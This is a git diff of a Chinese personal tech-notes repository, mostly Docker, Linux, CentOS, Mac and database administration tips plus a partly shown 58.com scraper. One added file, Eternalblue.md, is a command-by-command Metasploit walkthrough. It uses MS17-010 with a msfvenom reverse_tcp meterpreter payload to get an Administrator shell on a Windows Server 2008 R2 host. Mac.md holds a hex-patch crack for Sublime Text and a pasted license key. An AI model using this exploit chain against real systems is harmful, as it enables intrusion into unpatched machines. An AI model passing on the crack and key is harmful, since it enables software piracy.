diff --git a/Android.md b/Android.md new file mode 100644 index 0000000..a1d1760 --- /dev/null +++ b/Android.md @@ -0,0 +1,3 @@ +## Android中通过adb shell input来模拟滑动、按键、点击事件 + +参考: http://blog.csdn.net/ouyang_peng/article/details/48463059 diff --git a/Docker.md b/Docker.md index a8404e9..8e43a12 100644 --- a/Docker.md +++ b/Docker.md @@ -24,6 +24,10 @@ $ curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sudo sh -s http://1 参考:https://docs.docker.com/engine/installation/ +入门:http://tuxknight-notes.readthedocs.io/en/latest/docker/docker_command.html + +笔记:https://blog.phpgao.com/docker-note1.html#%E6%9E%84%E5%BB%BA%E9%95%9C%E5%83%8F + ``` $ curl -sSL https://get.daocloud.io/docker | sh ``` @@ -209,3 +213,29 @@ accbcfa5e2e6 hello-world "/hello" 15 hours ago $ sudo docker rm angry_bhabha ``` +删除镜像 +``` +$ sudo docker rmi hello-world +``` + +删除所有正在运行的容器 +``` +$ sudo docker kill $(docker ps -a -q) +``` + +删除所有已经停止的容器 +``` +$ sudo docker rm $(docker ps -a -q) +``` + +删除所有镜像 +``` +$ sudo docker rmi $(docker images -q) +``` + +构建镜像 +``` +sudo docker build --rm=true -t zh/redis . + +sudo docker build --rm=true -t zh/redis -f redis.dockerfile +``` diff --git a/Eternalblue.md b/Eternalblue.md new file mode 100644 index 0000000..8f6128b --- /dev/null +++ b/Eternalblue.md @@ -0,0 +1,50 @@ +基于kali利用Eternalblue的win服务器入侵过程 +目标:cn_windows_server_2008_r2_standard_enterprise_datacenter_web_x64 + +``` +# sudo dpkg --add-architecture i386 +# apt-get update +# apt-get install winetricks +# wine --version +# apt-get install wine32 + +# wget -c -O Eternalblue-Doublepulsar-Metasploit.zip https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/archive/master.zip +# unzip Eternalblue-Doublepulsar-Metasploit.zip + +# service postgresql start + +# ifconfig +# mkdir -p /root/.wine/drive_c/ +# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f dll > /root/.wine/drive_c/eternal11.dll + +# netdiscover + +# msfconsole +msf > use auxiliary/scanner/smb/smb_ms17_010 +msf auxiliary(smb_ms17_010) > options +msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.107 +msf auxiliary(smb_ms17_010) > run + +# cd Eternalblue-Doublepulsar-Metasploit/ +# cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ +# cd deps +# pwd + +> back +> reload_all +msf exploit(eternalblue_doublepulsar) > use exploit/windows/smb/eternalblue_doublepulsar +msf exploit(eternalblue_doublepulsar) > options +msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps +msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps +msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe # (Change to lsass.exe for x64) +msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.107 +msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x64 +msf exploit(eternalblue_doublepulsar) > show targets +msf exploit(eternalblue_doublepulsar) > set target 7 +msf exploit(eternalblue_doublepulsar) > set PAYLOAD windows/x64/meterpreter/reverse_tcp # 32bit: set PAYLOAD windows/meterpreter/reverse_tcp +msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.1.104 +msf exploit(eternalblue_doublepulsar) > exploit + +meterpreter > getuid +Server username: WIN-2E66MFMUV4B\Administrator +``` diff --git a/Linux.md b/Linux.md index 60a1187..fd04930 100644 --- a/Linux.md +++ b/Linux.md @@ -42,9 +42,25 @@ $ sudo apt-get update 查看系统版本 ``` -$ cat /proc/version +# cat /proc/version +Linux version 3.10.0-327.36.3.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC) ) #1 SMP Mon Oct 24 16:09:20 UTC 2016 ``` +``` +# uname -a +Linux controller01 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux +``` + +``` +# lsb_release -a +LSB Version: :core-4.1-amd64:core-4.1-noarch +Distributor ID: CentOS +Description: CentOS Linux release 7.2.1511 (Core) +Release: 7.2.1511 +Codename: Core +``` + + 显示操作系统32还是64位 ``` $ sudo uname --m @@ -492,9 +508,16 @@ $ pip -i http://pypi.douban.com/simple install Flask 或者修改 pip 源配置 ``` $ mkdir ~/.pip -$ vim ~/.pip/pip.conf +$ tee ~/.pip/pip.conf <<-'EOF' +[global] +index-url = http://mirrors.aliyun.com/pypi/simple/ + +[install] +trusted-host=mirrors.aliyun.com +EOF ``` +阿里源 ``` [global] index-url = http://mirrors.aliyun.com/pypi/simple/ @@ -502,7 +525,7 @@ index-url = http://mirrors.aliyun.com/pypi/simple/ [install] trusted-host=mirrors.aliyun.com ``` -或者 +豆瓣源 ``` [global] index-url = http://pypi.douban.com/simple @@ -510,8 +533,10 @@ index-url = http://pypi.douban.com/simple [install] trusted-host=pypi.douban.com ``` + 由于最新的 pip 安装需要使用的 https 加密,所以在此需要添加 trusted-host +参考:http://mirrors.aliyun.com/help/pypi pip 安装 gnureadline 报错: /usr/bin/ld: cannot find -lncurses ``` @@ -588,3 +613,314 @@ sudo apt-get update sudo apt-get install shadowsocks-qt5 ``` +查看网络出口IP +``` +$ curl ifconfig.me +101.231.185.66 +``` + + +SysVinit to Systemd Cheatsheet/zh + +https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet/zh + +Sysvinit 命令 | Systemd 命令 | 备注 +--- | --- | --- +service frobozz start | systemctl start frobozz.service | 用来启动一个服务 (并不会重启现有的) +service frobozz stop | systemctl stop frobozz.service | 用来停止一个服务 (并不会重启现有的)。 +service frobozz restart | systemctl restart frobozz.service | 用来停止并启动一个服务。 +service frobozz reload | systemctl reload frobozz.service | 当支持时,重新装载配置文件而不中断等待操作。 +service frobozz condrestart | systemctl condrestart frobozz.service | 如果服务正在运行那么重启它。 +service frobozz status | systemctl status frobozz.service | 汇报服务是否正在运行。 +ls /etc/rc.d/init.d/ | systemctl list-unit-files --type=service (推荐) ls /lib/systemd/system/*.service /etc/systemd/system/*.service | 用来列出可以启动或停止的服务列表。 +chkconfig frobozz on | systemctl enable frobozz.service | 在下次启动时或满足其他触发条件时设置服务为启用 +chkconfig frobozz off | systemctl disable frobozz.service | 在下次启动时或满足其他触发条件时设置服务为禁用 +chkconfig frobozz | systemctl is-enabled frobozz.service | 用来检查一个服务在当前环境下被配置为启用还是禁用。 +chkconfig --list | systemctl list-unit-files --type=service (推荐) ls /etc/systemd/system/*.wants/ | 输出在各个运行级别下服务的启用和禁用情况 +chkconfig frobozz --list | ls /etc/systemd/system/*.wants/frobozz.service | 用来列出该服务在哪些运行级别下启用和禁用。 +chkconfig frobozz --add | systemctl daemon-reload | 当您创建新服务文件或者变更设置时使用。 + + +### 网络调试 + +```bash +telnet IP PORT +``` + +调试TCP +```bash +nc -l ip port # 开启监听 +nc ip port # 连接服务 +``` + +调试UDP +```bash +nc -u -l ip port # 开启监听 +nc -u ip port # 连接服务 +``` + + +### 网络服务 + +快速开启网络web服务 + +```bash +php -S 0:8888 +``` +http://0.0.0.0:8888 + +```bash +python -m SimpleHTTPServer 8866 +``` +http://0.0.0.0:8866 + + +区别,PHP版本需要index.php, 而python版本直接返回目录 + + +### DNS 反向解析 + +关闭反向解析 +```bash +vim /etc/ssh/sshd_config +``` +设置 UseDNS no +```bash +service sshd restart +``` + + +### at + +定时任务 +```bash +echo `date` +at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" +at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 +at -l # 列出任务 +at -c 1 # 显示任务内容 +``` + + +## CentOs + +SELinux 全称 Security Enhanced Linux (安全强化 Linux) + +是 MAC (Mandatory Access Control,强制访问控制系统)的一个实现, +目的在于明确的指明某个进程可以访问哪些资源(文件、网络端口等)。 + + +- Disabled 代表 SELinux 被禁用 +- Permissive 代表仅记录安全警告但不阻止可疑行为 +- Enforcing 代表记录警告且阻止可疑行为。 + +目前常见发行版中,RHEL 和 Fedora 默认设置为 Enforcing,其余的如 openSUSE 等为 Permissive。 + +获取当前 SELinux 运行状态(Enforcing、Permissive 和 Disabled) +``` +# getenforce +``` + +改变 SELinux 运行状态(不用重启) +``` +# setenforce 1 # Enforcing +# setenforce 0 # Permissive +``` + +查看 SELinux 文件 +``` +# vim /etc/sysconfig/selinux +``` + +最小化安装(Server 版)注意事项 + +``` +# vi /etc/selinux/config +SELINUX=enforcing +改为: +SELINUX=permissive +``` +保存, 重启 + +启用网卡 +``` +# vi /etc/sysconfig/network-scripts/ifcfg-ens33 +ONBOOT = no +修改为: +ONBOOT = yes +保存, 重启 +``` + +`ifconfig`无法使用 + +``` +# ip addr +# ip link +``` + +查看哪个组件包含了`ifconfig` +``` +# yum provides ifconfig # 或 yum whatprovides ifconfig +Loaded plugins: fastestmirror +Loading mirror speeds from cached hostfile + * base: mirrors.shuosc.org + * extras: mirrors.163.com + * updates: mirrors.163.com +net-tools-2.0-0.22.20131004git.el7.x86_64 : Basic networking tools +Repo : @base +Matched from: +Filename : /usr/sbin/ifconfig +# yum install -y net-tools +``` + +`firewall`是动态防火墙, 建立在`iptables`之上; `iptables`用于过滤数据包,属于网络层防火墙. + +关闭 CentOS7 自带的防火墙`firewall`并取消开机自启 +``` +# systemctl status firewalld +# systemctl stop firewalld +# systemctl disable firewalld +# systemctl status firewalld +``` + +安装`iptables`防火墙 +``` +yum install -y iptables-services +``` + +修改`iptables`配置文件 +``` +# vi /etc/sysconfig/iptables +# 添加下面三句话到默认的22端口这条规则的下面 +-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT +``` + +``` +# systemctl restart iptables +# 添加iptables开机自启项 +# systemctl enable iptables +``` + +安装 EPEL 源 +``` +# yum install -y epel-release +``` + +安装 pip 并升级 pip +``` +# yum install -y python-pip +# pip install -U pip +# pip -V +``` + +补充常用的工具(wget, vim) +``` +# yum install -y wget vim-enhanced +``` + + +从`ping`命令的回显判断操作系统类型 + +ttl | system +--- | --- +128 | WIN NT/2K/XP +32 | WIN 95/98/ME +256 | UNIX +64 | LINUX + +一般 ttl 都会小于上面的值, 因为中间有跳跃的节点 +但是这个`ttl`值可以人为修改 + + +## 文件校验 +``` +$ md5sum .bashrc +1f98b8f3f3c8f8927eca945d59dcc1c6 .bashrc +$ shasum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +$ sha1sum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +``` + + +## 文件描述符 + +描述符号 | 说明 +--- | --- +0 | 标准输入 +1 | 标准输出 +2 | 标准错误输出 +/dev/null | 黑洞 + +常见组合: + +描述符号组合 | 说明 +--- | --- +2>&1 | - +/dev/null | - + + +## `ls -l`命令查看某一个目录会得到一个7个字段的列 + +``` +root@kali:~# ls -l /var/spool/cron/crontabs/root +-rw------- 1 root crontab 1.5K 12月 24 00:30 root +``` + +- 第 1 字段 + +10个字母的序号 | 说明 +--- | --- +1 | 文件类型('-':普通文件;'d':目录;'l':链接文件;'b':块设备文件;'c':字符设备文件;'p':命令管道文件;'s':sock文件) +2,3,4 | rwx(读,写,执行)权限;文件的拥有者 +5,6,7 | rwx(读,写,执行)权限;文件的拥有者同组用户 +8,9,10 | rwx(读,写,执行)权限;非文件拥有者其他用户 + +- 第 2 字段 + +文件硬链接数 + +- 第 3 字段 + +文件(目录)拥有者 + +- 第 4 字段 + +文件(目录)拥有者所在的组 + +- 第 5 字段 + +文件所占用的空间(以字节为单位) + +- 第 6 字段 + +文件(目录)最近访问(修改)时间 + +- 第 7 字段 + +文件名 + + +## 登录远程主机如果出现如下警告 +``` +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! +Someone could be eavesdropping on you right now (man-in-the-middle attack)! +It is also possible that a host key has just been changed. +The fingerprint for the RSA key sent by the remote host is +SHA256:IpTUMpNl17JrbLg2l3bHcP2x6A9ijsF+EKmfRcZBxPU. +Please contact your system administrator. +Add correct host key in /Users/zhanghe/.ssh/known_hosts to get rid of this message. +Offending RSA key in /Users/zhanghe/.ssh/known_hosts:68 +RSA host key for 100.100.100.100 has changed and you have requested strict checking. +Host key verification failed. +``` + +把以下文件中IP(`100.100.100.100`)对应的这一行删除 +``` +vim /Users/zhanghe/.ssh/known_hosts +``` diff --git a/Mac.md b/Mac.md new file mode 100644 index 0000000..7b98446 --- /dev/null +++ b/Mac.md @@ -0,0 +1,233 @@ +## 安装 Command Line Tools + +``` +✗ xcode-select --install +或者自动安装: +✗ brew doctor +``` + + +## sublime + +[下载](https://www.sublimetext.com/3) + +[文档](http://www.sublimetext.com/docs/3/) + +[Package Control](https://packagecontrol.io/installation) + + +## 插件安装 + +shift + cmd + p 打开命令面板 + +输入 “Package Control: Install Package” 命令 + +输入安装插件的简写或全拼,找到后回车安装 + + +JSCS-Formatter 依赖 nodejs + +``` +✗ brew install node +✗ node -v +v6.7.0 +``` + + +终端为subl添加软链 +``` +ln -s /Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl /usr/local/bin/subl +``` + +破解(没有尝试,没有验证) +``` +✗ cd /Applications/Sublime Text.app/Contents/MacOS +✗ vim Sublime\ Text +:%!xxd +/Thanks +/3342 +:s/3342/3242 +:%!xxd -r +:wq +``` + + +打开Sublime + +help >> enter licence + +将以下Licence贴进去 + +``` +--BEGIN LICENSE-- +China +Unlimited User License +EA7E-2861 +BE67D2175D3569FDAB9EB5340FAD2822 +E7B56B3397A76AA9FBE8AC3D3C65918B +DFC28F2EA158140D9E07853D594818EB +3A237B2E8E98ED257C269548F50EDA34 +EF0C7F72D8917DB538A0245E46BFD6B1 +85F4EDE331F253530ED67A5C19E92399 +04C5F4A1AF4AF3DB5EC49C1FEE17CA76 +7E369F8AAE4AC6C6E756B5882E1608B9 +--END LICENSE-- +``` + +提示:Thanks for purchasing! 成功! + + +## tree + +显示文件树形结构 +``` +✗ brew install tree +✗ tree +# 解决中文乱码 +✗ tree -N +# 组合(仅显示目录,目录深度2) +✗ tree -N -d -L 2 +``` + +## 磁盘使用 + +显示磁盘使用情况 +``` +✗ du -h -d 2 +``` + +## 提取系统安装文件 +``` +# 首先 App Store 下载完整系统文件 +✗ cd /Applications/ +✗ sudo mv Install\ macOS\ Sierra.app ~/tools/ +``` +然后可以制作U盘启动盘 + + +## at + +Mac 环境下,必须先启动 atrun (默认是关闭的) +```bash +man atrun # 查看文档 +sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist # 开启服务 +sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.atrun.plist # 关闭服务 +``` + +定时任务 +```bash +echo `date` +at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" +at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 +at -l # 列出任务 +at -c 1 # 显示任务内容 +``` + + +## Mac 键盘图标与对应快捷按键 + +键盘图标 | 快捷按键 +| --- | --- | +⌘ | Command () win +⌃ | Control ctrl +⌥ | Option alt +⇧ | Shift +⇪ | Caps Lock + + +### 文件校验 +Mac md5 替代 md5sum +``` +$ md5 .bashrc +MD5 (.bashrc) = 1f98b8f3f3c8f8927eca945d59dcc1c6 +$ shasum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +``` + + +## Mac 安装 matplotlib + +```bash +pip install matplotlib +``` +测试导入报错 +``` +Traceback (most recent call last): + File "wechat_jump_iOS_py3.py", line 3, in + import matplotlib.pyplot as plt + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/pyplot.py", line 116, in + _backend_mod, new_figure_manager, draw_if_interactive, _show = pylab_setup() + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/backends/__init__.py", line 60, in pylab_setup + [backend_name], 0) + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/backends/backend_macosx.py", line 17, in + from matplotlib.backends import _macosx +RuntimeError: Python is not installed as a framework. The Mac OS X backend will not be able to function correctly if Python is not installed as a framework. See the Python documentation for more information on installing Python as a framework on Mac OS X. Please either reinstall Python as a framework, or try one of the other backends. If you are using (Ana)Conda please install python.app and replace the use of 'python' with 'pythonw'. See 'Working with Matplotlib on OSX' in the Matplotlib FAQ for more information. +``` + +解决办法: +```bash +echo "backend: TkAgg" > ~/.matplotlib/matplotlibrc +``` + + +## iphone 真机调试 + +https://github.com/openatx/facebook-wda + +Install python wda client +```bash +pip install --pre facebook-wda +``` + +https://github.com/Carthage/Carthage +```bash +brew install carthage +``` + +iOS 真机如何安装 WebDriverAgent +```bash +git clone https://github.com/facebook/WebDriverAgent +cd WebDriverAgent +./Scripts/bootstrap.sh +``` +安装完成, 双击`WebDriverAgent.xcodeproj`文件 + +设置证书, 参考: +- https://testerhome.com/topics/7220 +- https://testerhome.com/topics/8085 + + +```bash +brew install libimobiledevice +``` + +端口转发 +```bash +iproxy --help +usage: iproxy LOCAL_TCP_PORT DEVICE_TCP_PORT [UDID] + +iproxy 8100 8100 +``` + +验证服务状态 +``` +curl http://localhost:8100/status +{ + "value": { + "state": "success", + "os": { + "name": "iOS", + "version": "11.2.1" + }, + "ios": { + "simulatorVersion": "11.2.1", + "ip": "192.168.3.44" + }, + "build": { + "time": "Dec 30 2017 21:05:55" + } + }, + "sessionId": "BC69BB2F-945F-4EBC-B94B-5E8C01696F82", + "status": 0 +} +``` diff --git a/MariaDB.md b/MariaDB.md index 8f23f28..b72fefc 100644 --- a/MariaDB.md +++ b/MariaDB.md @@ -90,3 +90,28 @@ MariaDB [(none)]> ``` $ mysql -h 192.168.0.101 -u root -p ``` + +修改密码(先登录,后重置) +``` +$ mysql -u root -p +MariaDB [(none)]> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('123456'); +``` + + +## InnoDB MyISAM 区别 + +如果你需要事务处理或是外键,那么 InnoDB 可能是比较好的方式。 + +如果你需要全文索引,那么通常来说 MyISAM 是好的选择,但是通常全文检索有其它的解决方案(例如ES)。 + +COUNT() 在 MyISAM 表中会非常快,而在 InnoDB 表下可能会很痛苦。 + +主键查询则在 InnoDB 下会相当相当的快,但需要小心的是如果我们的主键太长了也会导致性能问题。 + +大批的 inserts 语句在 MyISAM 下会快一些 + +updates 在 InnoDB 下会更快一些 + +InnoDB 的表需要更多的内存和存储,转换100GB 的 MyISAM 表到 InnoDB 表可能会让你有非常坏的体验。 + +所以通常采用 InnoDB 即可 diff --git a/README.md b/README.md index a226945..3ca7cf2 100644 --- a/README.md +++ b/README.md @@ -459,6 +459,19 @@ Tornado安装 如果是企业网站特别是有业务运营的云服务器, 如淘宝品牌、企业电子商务平台、企业微信平台网站、微客来之类的网站,都推荐带宽选择3M-5M起。 + 出网(KBPS) + 是访客使用的带宽 也就是我们所说的带宽 + 入网(KBPS) + 我在云主机上没有下载东西用的流量 + + 入网=上行(上传速度) + 出网=下行(下载速度) + + + 上行带宽:表现为上传速度 + 下行带宽:表现为下载速度 + + 框架选择 世上没有最好的框架,只有最适合你自己、最适合你的团队的框架。 @@ -692,6 +705,14 @@ col: 字段名 drop index idx_tab_col ``` +虽然索引的目的在于提高数据库的性能,有时间时,应避免。使用索引时,应重新考虑下列准则: + +- 索引不应该被用于小表上。 +- 有频繁的,大批量的更新或插入操作的表。 +- 索引不应使用含有大量的NULL值的列。 +- 频繁操作的列都将不建议使用索引。 + + psql 是一个普通的 PostgreSQL 客户端应用。 为了与一个数据库联接,你需要知道你的目标数据库, 服务器的主机名和端口号以及你希望以哪个用户的身份进行联接等信息。 @@ -703,6 +724,45 @@ psql 是一个普通的 PostgreSQL 客户端应用。 所以,上面远程连接可以有很多写法,是很方便,但是建议指明参数,后面调试起来方便。 +postgresql 版本升级 + +https://www.postgresql.org/download/linux/ubuntu/ + +``` +$ sudo vim /etc/apt/sources.list.d/pgdg.list +``` +添加以下内容并保存 +``` +deb http://apt.postgresql.org/pub/repos/apt/ trusty-pgdg main +``` + +Import the repository signing key, and update the package lists +``` +$ wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - +$ sudo apt-get update +``` + +确认当前 postgresql 服务是否关闭,并卸载旧版本,安装新版 +``` +$ netstat -ant | grep 5432 +$ sudo service postgresql stop +``` + +修改旧版本端口号为5433, 再安装新版本, 新版本端口号才能为5432 + +否则新版本端口号会默认为5433 + +``` +$ sudo apt-get remove postgresql-9.3 +$ sudo apt-get install postgresql-9.5 +``` + +``` +$ sudo vim /etc/postgresql/9.5/main/postgresql.conf +$ sudo vim /etc/postgresql/9.5/main/pg_hba.conf +``` + + ## Python MongoDB mongo数据库安装(包含服务端/客户端) @@ -1127,6 +1187,75 @@ print json.dumps(row, indent=4, ensure_ascii=False, default=__default) } ``` +## 分库分表 + +单表数据过大时,影响查询效率,可以根据业务逻辑进行合理的分表,库的操作同理 + +通常按照主键取模,为了便于扩展,这里对偶数取模 + +``` +➜ ~ mysql.server start +Starting MySQL +. SUCCESS! +➜ ~ mysql +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 3 +Server version: 10.1.17-MariaDB Homebrew + +Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [(none)]> select 1%4, 2%4, 3%4, 4%4, 5%4, 6%4, 7%4, 8%4; ++------+------+------+------+------+------+------+------+ +| 1%4 | 2%4 | 3%4 | 4%4 | 5%4 | 6%4 | 7%4 | 8%4 | ++------+------+------+------+------+------+------+------+ +| 1 | 2 | 3 | 0 | 1 | 2 | 3 | 0 | ++------+------+------+------+------+------+------+------+ +1 row in set (0.00 sec) + +MariaDB [(none)]> select 1%8, 2%8, 3%8, 4%8, 5%8, 6%8, 7%8, 8%8; ++------+------+------+------+------+------+------+------+ +| 1%8 | 2%8 | 3%8 | 4%8 | 5%8 | 6%8 | 7%8 | 8%8 | ++------+------+------+------+------+------+------+------+ +| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 0 | ++------+------+------+------+------+------+------+------+ +1 row in set (0.00 sec) + +MariaDB [(none)]> +``` + + +## strace 调试跟踪 + +``` +strace -p [pid] -tt -s 1024 -o /tmp/[pid].log +``` + + +## 理解 tuple (元祖) + +为什么当tuple只有一个item时,需要加逗号 + +``` +In [1]: (3+4)*5 +Out[1]: 35 + +In [2]: (3+4,)*5 +Out[2]: (7, 7, 7, 7, 7) +``` + +``` +In [3]: type(('fuck')) +Out[3]: str + +In [4]: type(('fuck',)) +Out[4]: tuple +``` + +Not the parentheses make the tuple, the commas do. + + ## 文档托管 Read the Docs diff --git a/Requests.md b/Requests.md new file mode 100644 index 0000000..4e58507 --- /dev/null +++ b/Requests.md @@ -0,0 +1,7 @@ +## Requests + +certifi 已经从 requests 项目中单独提取出来 + +http://docs.python-requests.org/en/master/ + +https://certifi.io/en/latest/ diff --git a/fuck/58.py b/fuck/58.py index 28d2b76..4d93a06 100644 --- a/fuck/58.py +++ b/fuck/58.py @@ -1,31 +1,473 @@ # encoding: utf-8 __author__ = 'zhanghe' +import sys +reload(sys) + +sys.setdefaultencoding('utf-8') import requests import re import json +import lxml.html +import csv -# 入口页的url -url = 'http://www.58.com/changecity.aspx' -# 伪装成浏览器 -header = { - 'Host': 'www.58.com', - 'Referer': 'http://sh.58.com/', - 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' -} +UserAgent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' + -s = requests.session() +city_map = { + 'bj': 11, # 北京 + 'sh': 31, # 上海 + 'tj': 12, # 天津 + 'cq': 50, # 重庆 + 'qd': 3702, # 青岛 + 'jn': 3701, # 济南 + 'yt': 3706, # 烟台 + 'wf': 3707, # 潍坊 + 'linyi': 3713, # 临沂 + 'zb': 3703, # 淄博 + 'jining': 3708, # 济宁 + 'ta': 3709, # 泰安 + 'lc': 3715, # 聊城 + 'weihai': 3710, # 威海 + 'zaozhuang': 3704, # 枣庄 + 'dz': 3714, # 德州 + 'rizhao': 3711, # 日照 + 'dy': 3705, # 东营 + 'heze': 3717, # 菏泽 + 'bz': 3716, # 滨州 + 'lw': 3712, # 莱芜 + 'zhangqiu': 3701, # 章丘 + 'kl': 3705, # 垦利 + 'zc': 3707, # 诸城 + 'shouguang': 3707, # 寿光 + 'su': 3205, # 苏州 + 'nj': 3201, # 南京 + 'wx': 3202, # 无锡 + 'cz': 3204, # 常州 + 'xz': 3203, # 徐州 + 'nt': 3206, # 南通 + 'yz': 3210, # 扬州 + 'yancheng': 3209, # 盐城 + 'ha': 3208, # 淮安 + 'lyg': 3207, # 连云港 + 'taizhou': 3212, # 泰州 + 'suqian': 3213, # 宿迁 + 'zj': 3211, # 镇江 + 'shuyang': 3213, # 沭阳 + 'dafeng': 3209, # 大丰 + 'rugao': 3206, # 如皋 + 'qidong': 3206, # 启东 + 'liyang': 3223, # 溧阳 + 'haimen': 3206, # 海门 + 'donghai': 3207, # 东海 + 'yangzhong': 3211, # 扬中 + 'xinghuashi': 3212, # 兴化 + 'xinyishi': 3203, # 新沂 + 'taixing': 3214, # 泰兴 + 'rudong': 3206, # 如东 + 'pizhou': 3203, # 邳州 + 'xzpeixian': 3203, # 沛县 + 'jingjiang': 3216, # 靖江 + 'jianhu': 3209, # 建湖 + 'haian': 3206, # 海安 + 'dongtai': 3209, # 东台 + 'danyang': 3221, # 丹阳 + 'hz': 3301, # 杭州 + 'nb': 3302, # 宁波 + 'wz': 3303, # 温州 + 'jh': 3307, # 金华 + 'jx': 3304, # 嘉兴 + 'tz': 3310, # 台州 + 'sx': 3306, # 绍兴 + 'huzhou': 3305, # 湖州 + 'lishui': 3311, # 丽水 + 'quzhou': 3308, # 衢州 + 'zhoushan': 3309, # 舟山 + 'yueqingcity': 3303, # 乐清 + 'ruiancity': 3303, # 瑞安 + 'yiwu': 3313, # 义乌 + 'yuyao': 3302, # 余姚 + 'zhuji': 3306, # 诸暨 + 'xiangshanxian': 3302, # 象山 + 'wenling': 3310, # 温岭 + 'tongxiang': 3304, # 桐乡 + 'cixi': 3302, # 慈溪 + 'changxing': 3305, # 长兴 + 'jiashanx': 3304, # 嘉善 + 'haining': 3312, # 海宁 + 'deqing': 3305, # 德清 + 'hf': 3401, # 合肥 + 'wuhu': 3402, # 芜湖 + 'bengbu': 3403, # 蚌埠 + 'fy': 3412, # 阜阳 + 'hn': 3404, # 淮南 + 'anqing': 3408, # 安庆 + 'suzhou': 3413, # 宿州 + 'la': 3415, # 六安 + 'huaibei': 3406, # 淮北 + 'chuzhou': 3411, # 滁州 + 'mas': 3405, # 马鞍山 + 'tongling': 3407, # 铜陵 + 'xuancheng': 3418, # 宣城 + 'bozhou': 3416, # 亳州 + 'huangshan': 3410, # 黄山 + 'chizhou': 3417, # 池州 + 'ch': 3414, # 巢湖 + 'hexian': 3405, # 和县 + 'hq': 3415, # 霍邱 + 'tongcheng': 3408, # 桐城 + 'ningguo': 3418, # 宁国 + 'tianchang': 3411, # 天长 + 'sz': 4403, # 深圳 + 'gz': 4401, # 广州 + 'dg': 4419, # 东莞 + 'fs': 4406, # 佛山 + 'zs': 4420, # 中山 + 'zh': 4404, # 珠海 + 'huizhou': 4413, # 惠州 + 'jm': 4407, # 江门 + 'st': 4405, # 汕头 + 'zhanjiang': 4408, # 湛江 + 'zq': 4412, # 肇庆 + 'mm': 4409, # 茂名 + 'jy': 4452, # 揭阳 + 'mz': 4414, # 梅州 + 'qingyuan': 4418, # 清远 + 'yj': 4417, # 阳江 + 'sg': 4402, # 韶关 + 'heyuan': 4416, # 河源 + 'yf': 4453, # 云浮 + 'sw': 4415, # 汕尾 + 'chaozhou': 4451, # 潮州 + 'taishan': 4407, # 台山 + 'yangchun': 4417, # 阳春 + 'sd': 4422, # 顺德 + 'huidong': 4413, # 惠东 + 'boluo': 4413, # 博罗 + 'fz': 3501, # 福州 + 'xm': 3502, # 厦门 + 'qz': 3505, # 泉州 + 'pt': 3503, # 莆田 + 'zhangzhou': 3506, # 漳州 + 'nd': 3509, # 宁德 + 'sm': 3504, # 三明 + 'np': 3507, # 南平 + 'ly': 3508, # 龙岩 + 'wuyishan': 3507, # 武夷山 + 'shishi': 3505, # 石狮 + 'jinjiangshi': 3505, # 晋江 + 'nananshi': 3505, # 南安 + 'nn': 4501, # 南宁 + 'liuzhou': 4502, # 柳州 + 'gl': 4503, # 桂林 + 'yulin': 4509, # 玉林 + 'wuzhou': 4504, # 梧州 + 'bh': 4505, # 北海 + 'gg': 4508, # 贵港 + 'qinzhou': 4507, # 钦州 + 'baise': 4510, # 百色 + 'hc': 4512, # 河池 + 'lb': 4513, # 来宾 + 'hezhou': 4511, # 贺州 + 'fcg': 4506, # 防城港 + 'chongzuo': 4514, # 崇左 + 'haikou': 4601, # 